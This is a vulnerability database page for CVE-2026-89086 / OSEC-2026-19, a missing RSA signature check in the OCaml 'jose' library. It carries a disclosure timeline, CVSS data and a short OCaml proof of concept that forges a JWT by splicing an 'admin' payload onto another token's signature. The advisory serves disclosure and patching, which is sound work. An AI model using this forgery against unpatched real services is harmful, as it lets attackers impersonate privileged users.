Vulnerability-Lookup

osec-2026-19

Vulnerability from osv_ocaml

Published

2026-09-10 10:00

Modified

2026-09-10 20:20

Summary

JOSE: missing RSA signature verification

Details

The opam package "jose" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.

Reproduction

With jose 0.10.0, the code below signs two tokens with the same key and glues one's payload onto the other's signature:

let () = Mirage_crypto_rng_unix.use_default ()

let key =
  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())

let sign sub =
  Jose.Jwt.sign key ~payload:(`Assoc [ ("sub", `String sub) ])
  |> Result.get_ok |> Jose.Jwt.to<http://jose.jwt.to/>_string

let seg n token = List.nth (String.split_on_char '.' token) n

let alice = sign "alice" and admin = sign "admin"

(* alice's header and signature, admin's payload *)
let forged = String.concat "." [ seg 0 alice; seg 1 admin; seg 2 alice ]

match
  Jose.Jwt.unsafe_of_string forged
  |> Result.get_ok
  |> Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())
with
  | Ok t ->
    print_endline
      ("accepted, sub = " ^ Option.get (Jose.Jwt.get_string_claim t "sub"))
  | Error _ -> print_endline "rejected"

The dune file:

(executable (name repro)
(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))

This prints "accepted, sub = admin".

Workaround

There is no workaround known.

Timeline

2026-08-25: private report via email to the authors of jose
2026-08-25: fix published to repository
2026-08-31: mail escalated to security@ocaml.org
2026-09-04: released jose 0.11.0
2026-09-10: published advisory

Severity

9.1 (Critical)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Credits

Sergey Zhukaev

Hannes Mehnert

Konstantin Olkhovskiy

Ulrik Strid

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "jose {\u003c \"0.11.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "jose",
        "purl": "pkg:opam/jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "cf17d991ec6a0d1997956b6c7799890f9c28879e"
            }
          ],
          "repo": "https://github.com/ulrikstrid/ocaml-jose",
          "type": "GIT"
        }
      ],
      "versions": [
        "0.2.0",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.5.1",
        "0.6.0",
        "0.7.0",
        "0.8.1",
        "0.8.2",
        "0.9.0",
        "0.10.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-89086"
  ],
  "credits": [
    {
      "name": "Sergey Zhukaev",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    },
    {
      "name": "Konstantin Olkhovskiy",
      "type": "COORDINATOR"
    },
    {
      "name": "Ulrik Strid",
      "type": "REMEDIATION_DEVELOPER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-347"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-19.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-19.json"
  },
  "details": "The opam package \"jose\" does not validate any RSA signature. It checks the encoding being PKCS1, but does not verify with the public key.\n\n## Reproduction\n\nWith jose 0.10.0, the code below signs two tokens with the same key and glues one\u0027s payload onto the other\u0027s signature:\n\n```OCaml\nlet () = Mirage_crypto_rng_unix.use_default ()\n\nlet key =\n  Jose.Jwk.make_priv_rsa (Mirage_crypto_pk.Rsa.generate ~bits:2048 ())\n\nlet sign sub =\n  Jose.Jwt.sign key ~payload:(`Assoc [ (\"sub\", `String sub) ])\n  |\u003e Result.get_ok |\u003e Jose.Jwt.to\u003chttp://jose.jwt.to/\u003e_string\n\nlet seg n token = List.nth (String.split_on_char \u0027.\u0027 token) n\n\nlet alice = sign \"alice\" and admin = sign \"admin\"\n\n(* alice\u0027s header and signature, admin\u0027s payload *)\nlet forged = String.concat \".\" [ seg 0 alice; seg 1 admin; seg 2 alice ]\n\nmatch\n  Jose.Jwt.unsafe_of_string forged\n  |\u003e Result.get_ok\n  |\u003e Jose.Jwt.validate ~jwk:(Jose.Jwk.pub_of_priv key) ~now:(Ptime_clock.now ())\nwith\n  | Ok t -\u003e\n    print_endline\n      (\"accepted, sub = \" ^ Option.get (Jose.Jwt.get_string_claim t \"sub\"))\n  | Error _ -\u003e print_endline \"rejected\"\n```\n\nThe dune file:\n```\n(executable (name repro)\n(libraries jose mirage-crypto-pk mirage-crypto-rng.unix ptime.clock.os))\n```\n\nThis prints \"accepted, sub = admin\".\n\n## Workaround\n\nThere is no workaround known.\n\n## Timeline\n\n- 2026-08-25: private report via email to the authors of jose\n- 2026-08-25: fix published to repository\n- 2026-08-31: mail escalated to security@ocaml.org\n- 2026-09-04: released jose 0.11.0\n- 2026-09-10: published advisory",
  "id": "OSEC-2026-19",
  "modified": "2026-09-10T20:20:00Z",
  "published": "2026-09-10T10:00:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JOSE: missing RSA signature verification"
}

CVE-2026-89086 (GCVE-0-2026-89086)

Vulnerability from cvelistv5 – Published: 2026-09-10 19:52 – Updated: 2026-09-10 19:52

Summary

In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE

CWE-347 - Improper Verification of Cryptographic Signature

Assigner

mitre mitre root

References

2 references

URL	Tags
https://github.com/ulrikstrid/ocaml-jose/commit/c…
https://osv.dev/vulnerability/OSEC-2026-19

Impacted products

1 product

Vendor	Product	Version
OCaml	jose	Affected: 0 , < 0.11.0 (semver)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:opam/jose",
          "product": "jose",
          "vendor": "OCaml",
          "versions": [
            {
              "lessThan": "0.11.0",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the jose package before 0.11.0 for OCaml, library calls to validate an RSA signature only confirm that PKCS #1 decoding succeeds, and proceed to declare the signature valid without the required steps that involve the public key."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.1,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-347",
              "description": "CWE-347 Improper Verification of Cryptographic Signature",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-10T19:52:47.039Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/ulrikstrid/ocaml-jose/commit/cf17d991ec6a0d1997956b6c7799890f9c28879e"
        },
        {
          "url": "https://osv.dev/vulnerability/OSEC-2026-19"
        }
      ],
      "x_generator": {
        "engine": "CVE-Request-form 0.0.1"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2026-89086",
    "datePublished": "2026-09-10T19:52:47.039Z",
    "dateReserved": "2026-09-10T19:52:46.560Z",
    "dateUpdated": "2026-09-10T19:52:47.039Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.